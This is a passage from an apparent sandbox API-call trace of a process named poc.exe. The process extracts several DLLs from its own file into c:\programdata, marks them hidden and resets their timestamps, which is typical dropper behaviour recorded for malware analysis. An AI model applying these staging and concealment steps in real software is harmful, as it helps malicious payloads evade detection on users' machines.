(lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.913] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.913] NtReadFile (in: FileHandle=0x16c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x540, ByteOffset=0x28f340*=1276202, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.913] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.913] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.914] WriteFile (in: hFile=0x170, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x14e5, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x14e5, lpOverlapped=0x0) returned 1 [0092.915] SetFileTime (hFile=0x170, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.915] CloseHandle (hObject=0x170) returned 1 [0092.915] NtClose (Handle=0x170) returned 0xc0000008 [0092.915] RtlFreeAnsiString (AnsiString="\\") [0092.915] FindFirstFileW (in: lpFileName="c:\\programdata\\tibe-2.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝藸v0")) returned 0xffffffff [0092.916] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.916] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\tibe-2.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\tibe-2.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.916] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.916] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x170, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.916] RtlFreeAnsiString (AnsiString="\\") [0092.916] GetCurrentThreadId () returned 0x24c [0092.916] ResetEvent (hEvent=0xd0) returned 1 [0092.916] GetCurrentThreadId () returned 0x24c [0092.916] GetCurrentThreadId () returned 0x24c [0092.916] ResetEvent (hEvent=0xd0) returned 1 [0092.916] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.916] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x174, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.916] RtlFreeAnsiString (AnsiString="\\") [0092.916] GetCurrentThreadId () returned 0x24c [0092.916] GetCurrentThreadId () returned 0x24c [0092.916] SetEvent (hEvent=0xd4) returned 1 [0092.916] SetEvent (hEvent=0xd0) returned 1 [0092.916] GetCurrentThreadId () returned 0x24c [0092.916] ResetEvent (hEvent=0xd0) returned 1 [0092.916] GetCurrentThreadId () returned 0x24c [0092.916] GetCurrentThreadId () returned 0x24c [0092.916] ResetEvent (hEvent=0xd0) returned 1 [0092.917] GetCurrentThreadId () returned 0x24c [0092.917] GetCurrentThreadId () returned 0x24c [0092.917] SetEvent (hEvent=0xd4) returned 1 [0092.917] SetEvent (hEvent=0xd0) returned 1 [0092.917] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.917] CreateFileW (lpFileName="c:\\programdata\\tibe-2.dll" (normalized: "c:\\programdata\\tibe-2.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x178 [0092.930] NtReadFile (in: FileHandle=0x174, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x713ec8, BufferLength=0x24, ByteOffset=0x28f340*=1277546, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x713ec8*) returned 0x0 [0092.931] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.931] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.931] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.932] NtReadFile (in: FileHandle=0x174, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x1082d, ByteOffset=0x28f340*=1277582, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0093.187] NtReadFile (in: FileHandle=0x174, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0xe3f5, ByteOffset=0x28f340*=1345211, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0093.187] NtReadFile (in: FileHandle=0x174, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x4a3, ByteOffset=0x28f340*=1403568, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0093.188] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0093.188] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0093.189] WriteFile (in: hFile=0x178, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x20c00, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x20c00, lpOverlapped=0x0) returned 1 [0093.191] SetFileTime (hFile=0x178, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0093.191] CloseHandle (hObject=0x178) returned 1 [0093.193] NtClose (Handle=0x178) returned 0xc0000008 [0093.193] RtlFreeAnsiString (AnsiString="\\") [0093.193] FindFirstFileW (in: lpFileName="c:\\programdata\\trch-1.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝薰v0")) returned 0xffffffff [0093.193] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0093.193] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\trch-1.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\trch-1.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.193] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.194] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x178, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0093.194] RtlFreeAnsiString (AnsiString="\\") [0093.194] GetCurrentThreadId () returned 0x24c [0093.194] ResetEvent (hEvent=0xd0) returned 1 [0093.194] GetCurrentThreadId () returned 0x24c [0093.194] GetCurrentThreadId () returned 0x24c [0093.194] ResetEvent (hEvent=0xd0) returned 1 [0093.194] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.194] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x17c, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0093.194] RtlFreeAnsiString (AnsiString="\\") [0093.194] GetCurrentThreadId () returned 0x24c [0093.194] GetCurrentThreadId () returned 0x24c [0093.194] SetEvent (hEvent=0xd4) returned 1 [0093.194] SetEvent (hEvent=0xd0) returned 1 [0093.194] GetCurrentThreadId () returned 0x24c [0093.194] ResetEvent (hEvent=0xd0) returned 1 [0093.194] GetCurrentThreadId () returned 0x24c [0093.194] GetCurrentThreadId () returned 0x24c [0093.194] ResetEvent (hEvent=0xd0) returned 1 [0093.194] GetCurrentThreadId () returned 0x24c [0093.194] GetCurrentThreadId () returned 0x24c [0093.194] SetEvent (hEvent=0xd4) returned 1 [0093.194] SetEvent (hEvent=0xd0) returned 1 [0093.195] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0093.195] CreateFileW (lpFileName="c:\\programdata\\trch-1.dll" (normalized: "c:\\programdata\\trch-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x180 [0093.195] NtReadFile (in: FileHandle=0x17c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x713ef8, BufferLength=0xc, ByteOffset=0x28f340*=1404755, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x713ef8*) returned 0x0 [0093.195] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0093.195] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0093.196] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0093.196] NtReadFile (in: FileHandle=0x17c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x6237, ByteOffset=0x28f340*=1404767, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0093.197] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0093.198] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0093.198] WriteFile (in: hFile=0x180, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x7a00, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x7a00, lpOverlapped=0x0) returned 1 [0093.204] SetFileTime (hFile=0x180, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0093.204] CloseHandle (hObject=0x180) returned 1 [0093.205] NtClose (Handle=0x180) returned 0xc0000008 [0093.205] RtlFreeAnsiString (AnsiString="\\") [0093.205] FindFirstFileW (in: lpFileName="c:\\programdata\\trfo-2.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝澠u0")) returned 0xffffffff [0093.205] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0093.205] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\trfo-2.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\trfo-2.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.205] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.205] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x180, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0093.206] RtlFreeAnsiString (AnsiString="\\") [0093.206] GetCurrentThreadId () returned 0x24c [0093.206] ResetEvent (hEvent=0xd0) returned 1 [0093.206] GetCurrentThreadId () returned 0x24c [0093.206] GetCurrentThreadId () returned 0x24c [0093.206] ResetEvent (hEvent=0xd0) returned 1 [0093.206] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.206] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x184, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0093.206] RtlFreeAnsiString (AnsiString="\\") [0093.206] GetCurrentThreadId () returned 0x24c [0093.206] GetCurrentThreadId () returned 0x24c [0093.206] SetEvent (hEvent=0xd4) returned 1 [0093.206] SetEvent (hEvent=0xd0) returned 1 [0093.206] GetCurrentThreadId () returned 0x24c [0093.206] ResetEvent (hEvent=0xd0) returned 1 [0093.206] GetCurrentThreadId () returned 0x24c [0093.206] GetCurrentThreadId () returned 0x24c [0093.206] ResetEvent (hEvent=0xd0) returned 1 [0093.206] GetCurrentThreadId () returned 0x24c [0093.206] GetCurrentThreadId () returned 0x24c [0093.206] SetEvent (hEvent=0xd4) returned 1 [0093.206] SetEvent (hEvent=0xd0) returned 1 [0093.206] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0093.206] CreateFileW (lpFileName="c:\\programdata\\trfo-2.dll" (normalized: "c:\\programdata\\trfo-2.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x188 [0093.207] NtReadFile (in: FileHandle=0x184, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x713f28, BufferLength=0xc, ByteOffset=0x28f340*=1429910, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x713f28*) returned 0x0 [0093.207] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0093.207] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0093.208] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0093.208] NtReadFile (in: FileHandle=0x184, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x4870, ByteOffset=0x28f340*=1429922, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0093.209] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0093.209] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0093.209] WriteFile (in: hFile=0x188, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x4c00, lpOverlapped=0x0) returned 1 [0093.210] SetFileTime (hFile=0x188, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0093.211] CloseHandle (hObject=0x188) returned 1 [0093.211] NtClose (Handle=0x188) returned 0xc0000008 [0093.211] RtlFreeAnsiString (AnsiString="\\") [0093.211] FindFirstFileW (in: lpFileName="c:\\programdata\\tucl-1.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝藸v0")) returned 0xffffffff [0093.212] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0093.212] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\tucl-1.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\tucl-1.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.212] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.212] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x188, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0093.212] RtlFreeAnsiString (AnsiString="\\") [0093.212] GetCurrentThreadId () returned 0x24c [0093.212] ResetEvent (hEvent=0xd0) returned 1 [0093.212] GetCurrentThreadId () returned 0x24c [0093.212] GetCurrentThreadId () returned 0x24c [0093.212] ResetEvent (hEvent=0xd0) returned 1 [0093.212] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.212] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x18c, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0093.212] RtlFreeAnsiString (AnsiString="\\") [0093.212] GetCurrentThreadId () returned 0x24c [0093.212] GetCurrentThreadId () returned 0x24c [0093.212] SetEvent (hEvent=0xd4) returned 1 [0093.212] SetEvent (hEvent=0xd0) returned 1 [0093.212] GetCurrentThreadId () returned 0x24c [0093.212] ResetEvent (hEvent=0xd0) returned 1 [0093.212] GetCurrentThreadId () returned 0x24c [0093.212] GetCurrentThreadId () returned 0x24c [0093.212] ResetEvent (hEvent=0xd0) returned 1 [0093.213] GetCurrentThreadId () returned 0x24c [0093.213] GetCurrentThreadId () returned 0x24c [0093.213] SetEvent (hEvent=0xd4) returned 1 [0093.213] SetEvent (hEvent=0xd0) returned 1 [0093.213] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0093.213] CreateFileW (lpFileName="c:\\programdata\\tucl-1.dll" (normalized: "c:\\programdata\\tucl-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x190 [0093.213] NtReadFile (in: FileHandle=0x18c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x713f58, BufferLength=0xc, ByteOffset=0x28f340*=1448466, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x713f58*) returned 0x0 [0093.213] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0093.214] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0093.214] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0093.214] NtReadFile (in: FileHandle=0x18c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x12f3, ByteOffset=0x28f340*=1448478, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0093.215] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0093.215] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0093.215] WriteFile (in: hFile=0x190, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x2400, lpOverlapped=0x0) returned 1 [0093.216] SetFileTime (hFile=0x190, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0093.216] CloseHandle (hObject=0x190) returned 1 [0093.217] NtClose (Handle=0x190) returned 0xc0000008 [0093.217] RtlFreeAnsiString (AnsiString="\\") [0093.217] FindFirstFileW (in: lpFileName="c:\\programdata\\ucl.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝薰v0")) returned 0xffffffff [0093.217] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0093.217] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\ucl.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\ucl.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.217] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.217] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x190, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0093.218] RtlFreeAnsiString (AnsiString="\\") [0093.218] GetCurrentThreadId () returned 0x24c [0093.218] ResetEvent (hEvent=0xd0) returned 1 [0093.218] GetCurrentThreadId () returned 0x24c [0093.218] GetCurrentThreadId () returned 0x24c [0093.218] ResetEvent (hEvent=0xd0) returned 1 [0093.218] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.218] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x194, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0093.218] RtlFreeAnsiString (AnsiString="\\") [0093.218] GetCurrentThreadId () returned 0x24c [0093.218] GetCurrentThreadId () returned 0x24c [0093.218] SetEvent (hEvent=0xd4) returned 1 [0093.218] SetEvent (hEvent=0xd0) returned 1 [0093.218] GetCurrentThreadId () returned 0x24c [0093.218] ResetEvent (hEvent=0xd0) returned 1 [0093.218] GetCurrentThreadId () returned 0x24c [0093.218] GetCurrentThreadId () returned 0x24c [0093.218] ResetEvent (hEvent=0xd0) returned 1 [0093.218] GetCurrentThreadId () returned 0x24c [0093.218] GetCurrentThreadId () returned 0x24c [0093.218] SetEvent (hEvent=0xd4) returned 1 [0093.218] 